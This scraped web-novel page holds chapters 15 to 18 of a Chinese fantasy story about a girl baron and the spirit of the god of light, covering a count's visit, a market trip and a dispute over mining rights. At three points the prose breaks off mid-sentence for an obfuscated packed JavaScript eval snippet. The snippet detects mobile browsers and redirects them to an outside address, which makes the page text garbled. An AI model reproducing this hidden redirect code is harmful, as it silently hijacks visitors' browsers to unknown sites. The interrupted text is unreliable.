l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348776|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头明明已经送走了,怎么不但回来了。能够从老莫斯那里逃出来的,救她的人肯定不简单。” 这话非常普通,可是在场的人都没有弄明白这其中的意思。 在场的,唯独一个人神色骤变。 【之前我就觉得奇怪了,我好好的睡着,到底是谁有这么大能耐将我给送走,还能够完全没有人看见和怀疑。】 泽维尔看着自己的手指,若无其事的开口:“有必要的话我可以帮你杀了她。” 他是光明神,可是他从来和温柔仁慈这样的字眼扯不上关系,诸神之中他虽说众神之首,可是他司掌的是战斗,他的诞生也好,成为光明神的理由也好,都只是为了驱逐黑暗神而存在的。 而且他一向都是宁缺毋滥的神明,由于他对于使者的苛刻,也导致了属于光明神的祭司非常少。因而他难得看中了资质不错,性格又对他胃口的,自然是不遗余力的想要拐走了。在如今的世界,能够找到一个全属性又掌控了光明系力量的人类,实在是太难太难了,这类人都容易早夭,不是被魔族发现在其小时候就弄死,就是被不了解神的人类当做异端处置了,当然了死于同龄人嫉妒的也不在少数。这么一来,使得本来就少的光明神教徒,数量一减再减,最后只剩下了十个左右。 格林菲尔抿了口茶:【别动不动杀啊打啊的,都说了光明神教导我们要心胸宽广。】 泽维尔冷笑一声,只想说这话他没说过,而且格林菲尔这个人到底和心胸宽广四个字有什么联系? 某些时候,他还是懒得搭理女孩子的蠢话。就像他至今不明白,她装了这么久傻子,为什么还是没有反抗的精神?虽说每样事情都是有条不紊的处理,但是明明一个魔法就能让所有人闭嘴,却要选择最为迂腐的方式,简直是浪费时间。 格林菲尔若是听到他的这般想法,估计会狠狠翻一个白眼然后吐槽:和平年代就用温和一点的沟通手法啊,又不是战时别人会考虑你是战力尽情纵容你。但凡你在如今的时代这么闹腾,分分钟被按死,一个人的强大终究是有限的,做不到保护所有人,同样也无法永远战斗下去,总会有疲惫和受伤的时候,那个时候就是死亡来临的时候。 格林菲尔对着小黛点点头:“等下去领金币。” 塔尔一族,一直遵循的是奖赏分明的制度,之前那个女孩子会拿到酒钱和赏金,所以格林菲尔不需要特意说。而小黛并没有支付什么代价,自然是只拿到得到消息的金币。 比起这两个揪出来了内贼的,剩下的几个人最多就是了解到了那些年老的女仆和男仆们的态度问题。 “菲德先生可能没有想过背叛男爵,但是皇室用他妻儿来威胁他,让他非常为难。” 格林菲尔沉吟:“也就是说,只要将人给救出来就行了。” 菲德这个人,只要是知晓塔尔一族历史的人,就会明白是绝对不可能背叛的。倘若真的塔尔是古老的救世主一脉的后裔的话,那么这个老人就和主家订立了无法违背的誓约的。这一点,泽维尔虽然没有告诉她,但是格林菲尔从曾经的小说中有见过类似的。 思及此,她敲定了主意:“这件事我会解决,你们不要声张出去。” “遵命。” 15. 惊变 第二天。 窗外的太阳刚刚升起,光芒落入宅邸中。 茂密的花丛中,蝴蝶纷纷起舞,枝头上的小鸟拍动着翅膀,在窃窃私语的样子。 书房中,镶边瓷杯盛满了深色的咖啡摆放在桌子上,袅袅热气翻滚着冒出来。格林菲尔坐在位置上,手指轻轻摩挲着咖啡杯手柄上凸起的纹路,翻阅着部分以真实事件所构筑的小说,神情专注而认真。 之前,她已经在将书房中将各种历史文献,和关于人文部分的书都翻了个遍,并没有找到什么想要的消息。今天她打算换一个思路:既然正经的文献什么有用的情报都照不出来,那么试着看看其他非正史相关的文学产品,或许能从这类书里找到一些她从原著中看不到、但是又是和这个世界息息相关的书籍。 泽维尔虽说可以构成实体,却并不需要维持身体健康所需要的睡眠,因为他只是意识体,还是带着一部分神力的那种。只不过,他虽不需要和人类一样躺下睡觉,可为了确保魔力一直充沛精神也不会受到影响的状态,偶尔也是需要闭眼休息一下的。 今天,他再一次从偶尔短暂的休息中睁开眼,感受了一下自己目前的情况。之前他就发现了,只要他稍微小眠一次,他的力量就会越来越强,连带着灵体状态也可以做到很多事情了。一开始这样的变化太细微,他没有察觉到,后面当他发现格林菲尔可以看见自己了,就知道了这其中的变化。 在这次醒来以后,他发现自己的力量又恢复了一些,内心说不上是不是有多少喜悦。最起码多一份力量,他觉得对于约定的事情可以更加有利一点。虽说现时期的力量,还是无法和他作为完整的神明期间相提并论,但是至少在协助格林菲尔,对方需要力量的时候,他可以轻松对付一些不强的人还。 他知道格林菲尔喜欢看书,也不知道什么时候开始,这人只要是不出门就会整天待书房里。他恢复意识后看到所在的地方是书房,觉得就是某人打算再翻一遍之前看过的书籍……让他怎么都没想到的是,黑发女孩子腰背挺得笔直的坐在椅子上,边上的桌子上堆满了各种杂书。是的,就是各种杂书,一种让他不能理解为什么看这种类型的书。 《我愿为你打开一扇门》、《贵族公子和女仆》、《我和同村孩子暗恋的那些日子》……诸如此类的书,一本一本摊开着摆放在书桌前。 此刻书房中只有格林菲尔一个人,所以当她看着不知道何时凝固成身形,并且拿起桌子上一本书的时候,十分庆幸自己定下的规矩。 ——在她使用书房期间,不允许任何人进。 若是没有这个她制定下来的规定,这会儿别人眼中估计会看到非常恐怖的一幕:一本书,凭空漂浮在半空中。这件事本身不可怕,可怕的是它仿佛被人一页一页翻看着。 格林菲尔下意识的抬头,看着那已经消失了的窥探视线,又看了眼眼前淡淡的一层金色光罩,就明白泽维尔又习惯性的使用了结界,难怪没有了来自于奥斯维特伯爵那边施展的观察魔法了。 泽维尔随便翻了几本,就将书给翻回他翻阅之前的那页,用漫不经心的口吻道:“这些只是一些垃圾文学而已,对于你目前要搜集的东西有什么关联?” 格林菲尔没有就他的这番话,给出什么明确的答复,在桌子上的那些书里翻找着,然后动作一顿,将找到的那本放置于对方的手边:“你不介意的话,可以看看这个。” “这本是——?” 泽维尔将送到手上的书,面容上浮现出了茫然之色。 格林菲尔好整以暇,微笑着说道:“这是现在最受欢迎的爱情系列小说之一。我问了一下宅邸内,那些喜欢看这本小说的人,他们都觉得这本最好。对了,听说这个系列得了很多奖。” 当着泽维尔的面,格林菲尔给他翻了几页。 【啊,若是他的眼中只有我一个,那么——就算是下一刻死去,我也会没有任何遗憾吧?】 泽维尔:? 【亲爱的太阳,你就是那漆黑世界里唯一的一束光,将我的梦给撕碎。】 泽维尔:??? 不是,这都什么乱七八糟的? 格林菲尔松开手后,他自己在将手中的书翻了几页后,终于失去了兴趣。 把书滑到了女孩子手边,他露出了有点困惑的表情:“这种东西,能够帮到你什么?” 许是男人少有的露出了不同于以前的表情,格林菲尔觉得很有意思,就故意笑着道:“不知道啊,只是觉得应该看就看看。” “我觉得,对于一个还处于做梦阶段的女孩子来说,憧憬美好的爱情是很正常的一件事。” 倘若她真的只有十五岁,生在这个充满了魔法和剑的世界中,她大概也会受到这些书里的内容影响,去幻想一些这个年龄的女孩子用梦所描绘出来的未来。只可惜,对于她来说这个世界虽有力量和神明,对她来说还不如原来的世界。 这个世界物资贫瘠,人与人的阶级差距太大,很多时候她宁可和艾特威尔一样,生活的村庄物质需求很欠缺,却有很多人关心他的人。 泽维尔不得不纠正了她的措辞:“你所说的做梦,对你来说就是一种预知,和你口中所说的爱情毫无关系。” 不明白格林菲尔口中所说的“梦想”和普通的做梦产生的“梦境”的区别,他这么批判。 格林菲尔撇了撇嘴,内心嘟囔了一句:无趣的男人。 也是,指望一个要不要帮一个人还需要衡量各种利弊的男人,去懂得人类最为纯粹最向往的感情和期许之情的话,那简直是痴人做梦。 起初她只是为了找寻需要的内容耐着性子一本接着一本看,可是在她看了一上午的爱情小说后,发现里面的内容除了男女主角满脑子爱爱爱,就什么内容都没有。她认为,她这简直就是浪费时间。 对于现状的落差,她不得不长叹一口气,给自己续了一杯加了多块方糖的咖啡,感叹了一句:“你说得对,泽维尔。” 泽维尔很茫然。 他本以为,在他说出话以后没有得到答复,就是女孩子无视了他的话,没想到对方过了很久很久才冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357449|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来这么一句。 这已经不是反应慢,而是迟钝过头了一点吧? 他看着口中说着“你说得对”,转头又从书架上取下许多相似书籍的人:“……” 很多时候,他真的会怀疑,和这样一个人类做了类似于签订契约一样的约定,到底是不是一件正确的事情。他渴求有能力又有脑子的神殿祭司,可是他也想要奢求真正的圣女出现,尤其是他如今看中了一个资质特别好的圣女的情况下,他觉得比起之前,对待格林菲尔的态度真的已经好很多很多了。 就在格林菲尔陷入各种爱情争斗不断的小说中不可自拔,外面传来了敲门声。 “谁?” 金色的结界被瞬间解除,门外传来了女仆的声音:“大人,奥斯维特伯爵造访。” 格林菲尔合上书,缓缓来到了门外,吩咐女仆:“将人带到会客室,我换一套衣服就去接待。” 仔细回想了一下原文中的剧情,有这样一段原文: 【奥斯维特伯爵不只是看人的眼光奇特,他的口味也同样刁钻,令人不能理解。当那杯泛着苦涩味的药草茶放到眼前的时候,这个不苟言笑的男人展露出了笑容。】 可以从某个方面讨好伯爵,但是不必太过明显。 “库房有些之前皇帝陛下赐予的珍品,让人取些莲子熬汤给伯爵大人饮用。” 女仆不懂为什么要这么做,那些东西虽然是皇室给到的,仅从品相上来看确实不错,但是作为招待伯爵的饮品,多少还是缺了些档次。 即便满心疑窦,她却还是忠实的完成了男爵的吩咐。 这里是男爵大人的府邸,他们这些下人没有什么资格插嘴。特别是这种涉及到贵族喜好的事情,他们的话做不得数。 只是—— 男爵大人是从哪里的渠道打探到这些的? 在女仆离开后,泽维尔感受了一下四周,确信因为伯爵的到了窥探的视线也不在了,才慢悠悠的开口道:“你怎么知道奥斯维特伯爵喜欢莲子羹的?” 格林菲尔一脸无辜道:“我不知道啊,只是随便说说。你看皇室赏赐了那么多吃的和用的,只有莲子的价值和品质看起来最高,那么我没有选择其他东西的理由,自然是选择这个了。” 泽维尔无可无不可:“随你。” 毫无疑问,格林菲尔是从哪里得到了消息,获悉了伯爵的饮食喜好,只是他不知道罢了。 内心的深处,有什么在悄悄酝酿着,而他浑然不知。 目送着女孩子离去的背影,他仿佛产生了一种错觉: 曾几何时,他也以这样的视角,去看着什么存在,在自己的眼前一点一点的消失…… 格林菲尔打了个呵欠,准备离开书房,却被一股力量猝不及防的给拽到了桌边。 桌边的棱角磕到了她的腰,她疼的闷哼了一声。 她按着自己应该是有了淤青的腰,露出了痛苦的神色。当她看着来自于上方的视线,她才明白发生了什么事情。 “泽维尔,你发什么疯?” 16. 安抚 会客室中,奥斯维特看着女仆们,将精致的餐具摆放在自己面前的桌子上,看着那打开了的陶瓷碗中透出了一点白,他抬眸看向了给他上了这个的女仆:“这是什么材料?” 负责摆放餐具的女仆退后几步,这才低下头,语气毕恭毕敬却并不献媚:“伯爵大人,这是领主吩咐的,说您应该会喜欢这种味道。” 奥斯维特有点意外,比起心机他更觉得这像是小孩子讨好大人的手段。这段时间以来,他通过自己宅邸的魔法师,还有来自于皇室的高级祭司,有时不时观察着这个领主宅邸发生的一切。 可就像是真的对权利什么没有兴趣,格林菲尔这个孩子始终不是去村庄买一点面包,就是钻在书房看爱情小说。只不过,他对于这个孩子三天两头拉着自己舅妈去村里,就为了买几个面包表示不能理解,这种事情明明让女仆去就行了。 说到底,就算是男爵,看起来待人接物还行,实际上还是一个没有举办过成人礼的小孩子罢了。也亏得这样的一个孩子,能够在特立特那个家伙的手上活这么久。 从一边摆放在的餐盘上取了汤匙,奥斯维特并没有马上喝眼前的这碗汤羹,而是对着站立于身侧的贴身侍卫说:“验。” 格林菲尔从书房出来,来到会客室,看到的就是眼前的一幕。 穿戴整齐的骑士先生,带着手甲的右手,正两根手指捏住了一根针,针的一端已经没入了眼前的瓷碗中。 格林菲尔面带疑惑:“这是在做什么?” 泽维尔慢悠悠地开口道:“银针可以试毒。” 女孩子转过头,低声道:“根本没用吧。” 泽维尔不置可否,反正他也不觉得这种针能够避免什么,但凡有人真的要下毒,那必然是银针无法查出来的、以魔药和炼金术配一起而成的带着诅咒的毒。这种毒不仅银针无法测出来,连普通的医官也无法察觉,只有神殿高级神官才能判断一个人有没有种这种毒。 所以泽维尔尽管给身边人科普验毒的方法,实际上并没有真的觉得这是什么有用的。不过这个伯爵倒是给他上了一课,在保护女孩子方面他根本不需要担心来自于外界的攻击,可是这种由口而入的毒,他必须要教会格林菲尔如何判断和治疗。 是的,只要是能够辨别出是什么毒,那么就有对症下药的治疗手段,反之就是只剩下等死了。 格林菲尔并没有发出很大的声响,她想着不打扰人用甜羹,却被那边像是多了一双眼睛一样的伯爵唤了一声:“格林菲尔,站在那里做什么?过来。” 奥斯维特伯爵拍了拍身边空出来的位置,笑着朝不远程的男爵说:“来叔叔身边坐。” 你问格林菲尔慌不慌?她当然是不慌的,因为她如今非常擅长隐藏情绪,不然的话也不会没人发现她实际上并不笨这件事。 女孩子盘起的头发上,有几缕发丝掉落下来,落在了肩膀上,却并没有能够引起主人丝毫的关心。格林菲尔拎起裙子的两侧,缓步走到了男人的身边,微微欠身:“那请恕我失礼了。” 话音落下,她才稳稳坐在沙发上。 奥斯维特伯爵在验毒结束后,已经喝起来了汤羹,他用汤匙捞起一个咬着脆脆的东西,侧过头:“之前听说陛下赏赐了塔尔领地很多进贡的莲子,一直想着要见见看,没想到第一次看到这种东西是在品尝的时候。” 伯爵喝了一口,那带着一点苦涩味道的甜味在嘴里扩散开,平衡了白色粘稠感带来的黏腻感,减轻了胃部的压力。 喝了几口,奥斯维特露出了赞赏的神色:“我还是第一次见到这样搭配食材的。我听说莲子和银耳都是药材吧?原来还能拿来做甜羹吗?” 格林菲尔眨了眨眼,老秋横气道:“我喜欢没事的时候就研究怎么吃喝玩乐,这个甜羹我还是在偶尔的失败中做出来的成品。” 奥斯维特的口气有点怪:“哦,失败品啊。” 这位年纪轻轻就获得了很多人一辈子都得不到成就的男人,轻哼一声:“你也真是胆子够大的啊,男爵阁下。” 很显然,他对于自己被当做试吃新品这件事很不满,这种事情完全可以避免的,他不明白眼前的女孩子为什么连基本的尊重别人都做不到。 格林菲尔暗自诽谤了一下这位伯爵大人:果然心眼很小,什么事情都不肯吃亏。 当初看原著的时候,她就对这个伯爵的行为觉得不舒服,如今真的见到了这个人多变的情绪,她觉得更加恶心了。 哪怕内心依然深感不适,她还是没有忘记自己天真单纯的人设,露出了甜美的笑容:“奥斯维特叔叔,我是无意中发现这样做很好吃,不是说你眼前的这份是试吃品。” 听了她的话,奥斯维特这才点了点头:“我想也是。就算叔叔和你不熟,格林菲尔你也不可能做出这种事情才对。” 看得出来,奥斯维特非常喜欢女孩子给他准备的这份莲子银耳羹,在享用完了眼前的甜羹,他舔了舔舌头,取出了一份文件。 格林菲尔从他的手中接过文件,看了看上面盖着的皇室印章,望向眼前男人的眼中有着不解:“奥斯维特叔叔,这是什么?” 男人喝了口自己随身携带的水,不紧不慢地开口解释道:“其实就是关于附近矿产开采的说明事项。塔尔一族虽说已经没落,你们附近的村庄也很贫穷,但是这个宅邸的人却可以生活得很好,就是有矿产可供开发的关系在。” “格林菲尔,特立特之前让了三成的矿产开发权给皇室,又让给了我家族和其他贵族三成,他自己保有四成。你觉得,他这么做合适吗?” 格林菲尔好似听不到这话语中的指责意味,试探着问了一下:“我不知道叔叔你在说什么。什么矿产?我都没有听说过。” 奥斯维特的神色一僵,只能开口道:“哦是吗,我忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359346|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你并不懂领地里这些事情。” 他想过很多可能,唯独这件个回答……他是真的不曾想到。毕竟,作为一个领地的领主,必然是接受了贵族应有的教育,尤其是资产的分配什么的,就算是不怎么懂得,至少也是应该清楚矿产部分的。 “是我疏忽了,忘了你这边的情况。” 他微微叹气,摸了摸格林菲尔的头,“没事。关于这件事我会去和皇室协商,看看怎么处理。” 将原先放在手上的文件给取回,奥斯维特站起身,低头看了眼桌子上已经空了的瓷碗,忽然笑了笑。 “能不能再给我一份?” 伯爵大人匆匆而来,又匆忙离开,来的时候说的话又是这么模糊不清。 泽维尔双手抱胸,冷笑一声:“太过贪婪了一点啊,这个叫做奥斯维特的家伙。” 什么叫做六成已经给了别人,自己留下四成还太不知足?这些矿产本来就是塔尔家的,特立特自作主张的给到其他人分成,本身就已经很可笑了。而这些人,竟然还嫌不够。 “一成矿产的可以贩卖一百个金币,而一个金币足够普通人数十年的生活,这么大一笔金额他们还觉得少,怕是贪心不足蛇吞象啊。” 听着泽维尔的分析,格林菲尔不语,只是吩咐女仆:“今天的事情谁都不允许传出去。” 经历了今天伯爵来访的事件,她才发现了一个问题——她还没有搞清楚这个世界的货币换算比例,而一枚金币/银币/铜币分别代表了原先世界多少钱这种事情,她根本就完全没有去想过。 想想也对,虽然特立特各方面对她苛刻,可是吃喝穿方面基本的还是给到的,待遇差的部分也就是说她的用度不是贵族级别的。对比很多饭都吃不起的人来说,格林菲尔要什么有什么,日子过的非常舒心,也因此她就忘记了如此重要的事情。 她忽的站起身,快步走到了楼上自己的房间,披上外套就走到了楼下,对马车夫说:“我要出门。” 车夫愣了下:“男爵大人?” 他如此出声的时候,格林菲尔已经踩着台阶走上了马车:“目的地是城中的集市。” 就她的这番行为,泽维尔非常习惯,并且已经不会惊讶的程度。他知道格林菲尔是个行动派,从矿产的事情暴露以来,他就已经猜到了女孩子可能会有的反应。只是知道归知道,没想到这人连多浪费一会儿的功夫都不肯,已经直接亲自去了解货币的事情了。 “哎,但凡那些神职人员都能和你一样发现了什么就去做,那该有多好?” 近乎呢喃的声音,让格林菲尔不由得问了句:“泽维尔,你说了什么?” 由于之前书房的突发事件,她根本都没有机会询问眼前的男人之前想做什么,现在空下来了她反而不想问了。反正,应该只是将她和其他人联想到一起了吧? 那个眼神,到底是太过明显了。 17. 集市 格林菲尔算是明白了,想要按部就班,那个前提是她可以运筹帷幄。就算是有着再多另外一个世界的知识储备量,但是对于这些有权威的人,她分明是弱者。 不过在这个世界有一个好处,她自身也是有权威的人,男爵这个身份或许和高贵两个字扯不上一丁点关系,可却是正儿八经的贵族。若不是为了保住自己的身份,特立特也不会暗中用了这么多手段,以至于让自己彻底身败名裂。 如此想着,乘坐着的马车已经停下了。 她抬眸,看到对面的男人,又是以她看不懂的眼神望着她。 格林菲尔觉得,出于合作者关系她应该去关心一下泽维尔的精神状态,可万一那是涉及到对方的陈年往事……那她去问这件事,岂不是有点不识趣?她擅长忽略别人的眼神,也能够催眠自己什么都没看见,可是一个随时随地都在身边的人,除了上厕所和洗澡不在以外,这位基本上整天都在边上的。她可以假装没有一次两次没有看到不想看的场面,但是她无法对于时不时就会抛过来的锐利视线视若无睹。 马车停下,格林菲尔并未马上下车,而是被对方那视线给刺到,不得不开口道:“之前因为你的失神,我撞在了桌子边,现在腰还疼着。现在你又是在想什么?” 泽维尔表情有点呆,一副没有清醒的样子:“哦,没什么,我只是觉得你和我记忆中的某个人类有点相像。” 作为神明,他并没有意识到自己对于其他人所用的称呼有问题。 格林菲尔同样如此,她没有发现眼前的男人是用【人类】来称呼那个和自己很像的人。 不,其实就算是发现了,估计也不会在意,毕竟泽维尔目前的状态和人类毫无关系,即便不是用了亡灵魔法之类的亡灵法师。也不代表他有实体,就可以证明他是一个活生生的人类了。 因此,这人用其他人类来称呼某位,她觉得也是很合理的事情。 听了泽维尔的话,她摸了摸自己的脸,歪着头:“我和你所说的那个人很像?” 泽维尔还真的认真思考了一会儿,才摇头:“不,不像。” 格林菲尔拳头有点硬,想要揍人。 一会说她和其他人很像,她问了是不是长相很像,这人又说不像……真的不是耍她玩? 很快,她就冷静了下来。 泽维尔可能确实是有着自己的毛病,可是那代表不了什么,毕竟他们在理解和认知上有着本质性的区别。要不是这人看起来没有什么架子,她都会觉得对方是不是不是人类这个种族了。 可是有着人类的长相,不是人族又是什么? 过了片刻,泽维尔才用带着些许惆怅的语气道:“你们不是像,而是几乎一模一样。除了年龄和发色不同,至少有五成以上像。” 泽维尔觉得,格林菲尔可能察觉到了什么,只是出于不干涉的关系不询问他,现在他都主动开口了,并且抛出了钩子,对方不可能还是什么都不知道。 格林菲尔听了这话,若有所思了一会儿,就敲了敲车板。 负责驾马车的仆人从前面来到门口,打开了马车门,并扶着她下车。 泽维尔:? 这人就没有什么想要问他的吗? 越是相处,他就越是发觉格林菲尔的奇怪之处。 很多人在意的事情,眼前的这个女孩子不在乎,很多人不关心的人事物,格林菲尔特别在意,而且程度之高到让他觉得无法理解的这个层面。 格林菲尔来的是领土附近并不是最大,却非常繁华的城市,不同于皇室所在的城市那样豪华,这个城里以中下层商人为主,和他们打交道的也是低等贵族和平民,对于想要买一些物美价廉东西的普通人来说,这里真的是个不得不提及的好去处。只是,这样的优势也伴随着威胁,还有不和谐声的出现。 由于要低调行事,格林菲尔让仆从在城门口等她,她下了马车以后就找了个隐蔽的角落,从储物口袋里摸出普通的套装,替换了身上高档的马夹和外套等衣物,还有鞋子帽子之类的配饰。 然后,她取出了一个小人,根据炼金术大师的意思这是一个人偶,由于制成的材料非常特殊,她也就只能定做一个。将人偶放在地上,格林菲尔看向了朝她缓步走来的男人,眼中带着笑意:“剩下的就交给你泽维尔你了。” 男人瞥了眼她,没有说什么,只是将力量给控制好,引导至人偶的身上。 他看向了女孩子:“这样就行了?” 格林菲尔:“嗯嗯嗯。大师说了,只要将力量注入人偶,再滴一滴血,就可以让它听从我的指令行事。” 说到这里她露出了一个苦笑:“不过是没有什么特殊能力的人偶,也就只会一些基本的行动,想让它成为我的替身的话,还是太难了一点。” 等她换好衣服,从另外一个口走出去,由于自身就会魔法,泽维尔也在身边的关系,她并不担心自己的安全问题。 大白天人流涌动之际,格林菲尔认为可能发生的事情,并没有在她身上应验。周围一个个商店都是营业状态,路过的人不是这个城的本地人,就是和她一样来自于不同地方的。 格林菲尔离开了都是店铺的区域,来到了闹市区,这里的东西好坏参半,能不能用极低的价格买到合适的东西,那就要看一个人的运气和鉴别能力了。 格林菲尔记得,鉴别能力也是魔法的一种,不过她并没有这个力量。 “其实想要这个力量的话,可以去考一个证。” 她微微睁大了眼,看向了那边随口道的人,或许是反应有点大,对方皱眉道:“怎么了?” “不,没什么,只是有点惊讶于你会说出这样的话。” 泽维尔疑惑:“这样的话?” 格林菲尔慢慢的点了点头,听着耳边讨价还价声音,压低了声音:“我以为你会说我没有天赋这种事情,并且让我死心。” 泽维尔缓缓打出一个问号。 不是,这个合作搭档到底对他有着怎 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由于老板已经将东西给放起来了,他根本看不到另外一个买了什么,就只能问格林菲尔了。 买好东西以后,女孩子又在这一条路上逛逛。 耳边是鼎沸的人声,眼中映入的是各种各样的货物,有她之前宅邸时候吃过的这里卖天价的贵族食物,也有看起来非常普通的粥。还有一些无人问津的……香辛料。 她来到摊位前,随便捞起一点看了看,询问老板:“这个怎么卖?” 调味料,她可以用来改善饮食。 她对于领主的生活没有什么不满的,就是饮食过于清淡让她不适应,想要换一换口味。而且辣可以刺激到中枢神经,给她疲惫的精神提供些许帮助。 美食可以让人感受到快乐,那可不是说说而已的。 一路上她已经根据不同种类的货币买了什么,大致的明白了这个世界每样东西的价值,以及他们对等于自己曾经世界哪些东西。有了这样的认知,她才敢买这些香辛料。其实领土贫瘠,附近应该买不起这种高档的东西的,但是不知道为什么这里人似乎不明白其价值,卖得特别便宜。 这么说吧,她只用了常规市价的十分之一价格,就买到了这些香辛料。 不过她也不打算让这个不知道市价的老板吃多少亏,就悄悄给他塞了一个金币。 在将集市逛了一遍以后,格林菲尔打算去隔壁商铺区看看,不过她并没有马上过去,而是回到了之前的那个入口,并且让另外一个自己回到这里。他们交换了身份,格林菲尔换回了自己的那套华贵的贵族套装,将人偶和普通的服饰都给收回空间口袋里。 她不知道的是,在她离开以后,那个卖她坠子的老板被人给找到:“你这边的光明之坠怎么不见了?” “刚刚有一位平民买走了。” 带队的的男人急忙手一挥:“给我去城门口看着,任何平民都不允许就这么放走!” 18. 方法 此次出行,本就是为了了解物价的一日游,原先格林菲尔还想着要逛逛商业街,眼看着天快黑了,被她勒令留在城门口的仆从可能会担心她的安全,她就只是沿着商业街走回了城门口,并没有进去。 逛街什么的,还是需要在完全自由的情况下才能做到吧?这次出来的目的已经达成,没有必要留在城里多生事端。 她回到了马车上,敲了敲木板,脚下就有了动静。 打开收纳了各种东西的袋子,她看了眼里面购买的坠子,还有一个和她喜欢收集的胸针一样的东西,心满意足的点了点头,这才合拢了袋子的束口袋。 收起袋子,她拿出纸笔,开始记录在城里看到的东西的物价,她的记性很好不至于就这么短的时间忘记这种事情。大概估摸了一下金币的价值,以及可以买到大概多少范围的东西,又回忆了一下奥斯维特所说的三成的矿产的价值,不得不感叹道:“特立特可真够败家的。为了所谓的荣华和爵位,直接将半数的产业给败完了。” 尽管对于价钱什么没有特别的想法,泽维尔跟着格林菲尔这一路上,也大概了解了这些矿产代表了多少金币。不得不说,他非常认可眼前的女孩子的话,她那个舅舅真的就是浪费钱在没有必要的事情上面。爵位和地位固然重要,可是领土人的价值也依然不少,而且那并不是钱财能够买到的。 他之前虽对格林菲尔给艾特维尔的安排不太了解,可是也明白人才难找,在明知道这个少年有着天赋,未来又可以成就一番事业,那么必然是提前要接收这人,这样的人才真的是可遇不可求。 出门的时候就已经不早了,格林菲尔在城里耽搁了一会儿,尽管她已经尽可能的缩短回来的时间,可是回到领土的时候依然已经是天黑以后了。 好在由于她这段时间的表现,奥斯维特伯爵放松了对她的警惕,加上不久前的那番谈话,让她在男人那边的信任多了不少。说起来,她本来就不该为了所谓的贵族的矜持,最初就那么客客气气的,倘若一开始就和小孩子一样装作什么都不懂,她大概可能不需要被监视这么久。 过去的事情懊悔也无意思,谁又能猜到一个皇室封的伯爵能够心思多到……连一个孩子都要防备的程度?哦不,应该是她压根没有猜到皇室的使者是奥斯维特这个喜怒无常的男人。 回到宅邸,管家从里面走出来:“男爵大人,有客人到访。” 格林菲尔皱眉:“这个时间?” 管家低垂着头,不敢直视面前的人:“是的。” 黑发女孩子面带烦闷,一个个的为什么就不能给她一点清静?哦,因为有一个还有利可图的矿产,那些人肯定是想破了脑袋都想要,哪里会管什么时间。 对了,这个世界的人并没有什么时间观念。 暗自叹了口气,格林菲尔开口:“别让客人等太久了,我这就去会客室。” 来到了会客室,看着眼前全然陌生的男人,格林菲尔侧过头,对管家投以疑惑的视线,仿佛在问这人是谁。 “冒昧到来叨扰了。”男人欠了欠身,“我的名字是艾尔法·塞顿,是你表姐戴罗·塔尔的丈夫。” 格林菲尔微微点了点头,内心却觉得十分不可思议,大晚上的表姐丈夫找她做什么? “既然是戴罗姐姐的丈夫,那么我应该叫你一声姐夫。只是不知道,到底是怎样要紧的事情,能够让姐夫大晚上找过来,而且找的还不是我的舅妈,而是和你关系比较远的我。” 她这番话已经很客气了。 对于这个世界的礼仪和社会关系,她或许还有很多要学的地方,但是——对于这里的人如何相处,她还是知道些许的。就像此刻,已经出嫁的姐姐没有回来,反而是他的丈夫回来,而且面见的不是他的丈母娘,而是作为小姨的她。倘若不是很清楚应该是怎样一个流程,光是看着眼前这个男人优雅有礼的举止,任谁都不会多说一个字。 不巧,她并没有体谅别人违反规矩的意思,这么明里暗里的嘲讽已经是她最大的仁慈了。 大晚上的,孤男寡女的,到底是谁这么恶毒啊? 好在她向来谈话期间,都喜欢留一个女仆在身边,必要的时候像是聊得兴起了,后续会安排其他人上茶上点心。不过很显然,对于眼前这个自称她姐夫的男人,她并没有想过要聊什么,那就别提还有额外吃食提供了。 艾尔法思忖片刻:“根据特立特代男爵当年和我们家族签订的契约,我们应该有一成的矿场开发权。” 他从面前的包里掏出一份文件:“这上面有特立特·塔尔的签名。” 泽维尔打量着这个男人,看起来对格林菲尔非常有礼貌,可是满满的都是轻蔑,可以说除了语气和行为,他周身给人的感觉就不像是个省油的灯。 格林菲尔没有破口大骂,而是真的拿起那份文件慢慢看了看,在奥斯维特那边她需要演戏,是因为她知道那个男人很麻烦,不是可以随便解决的故事中的关键人物,除了不能退让以外其实的她觉得都可以商量。 她对那位伯爵大人的客气,是不想惹事,不是做不到让对方闭嘴。 但是对其他人……她就没有这么好的脾气了。 格林菲尔轻飘飘的将文件给放下,对着眼前人笑了笑:“文件我已经收到,我会找人转交给特立特舅舅。姐夫你没有其他事情的话,可以离开了。” 艾尔法愣了下:“啊?你看过就没后续了?” 格林菲尔露出了天真的笑容:“不然呢?你说让我看文件,我就看了看,还有什么不对的吗?还是说——” 她停顿了下,故意张大了嘴:“这只是文件中的一部分,还有其他的要看?” “姐夫你该不会想要邀请我去你家里看文件吧?这大晚上的……不合适。” 艾尔法差点没被这话给恶心到想吐,他露出了厌烦的神情:“我让你看文件,当然是让你兑现承诺。” 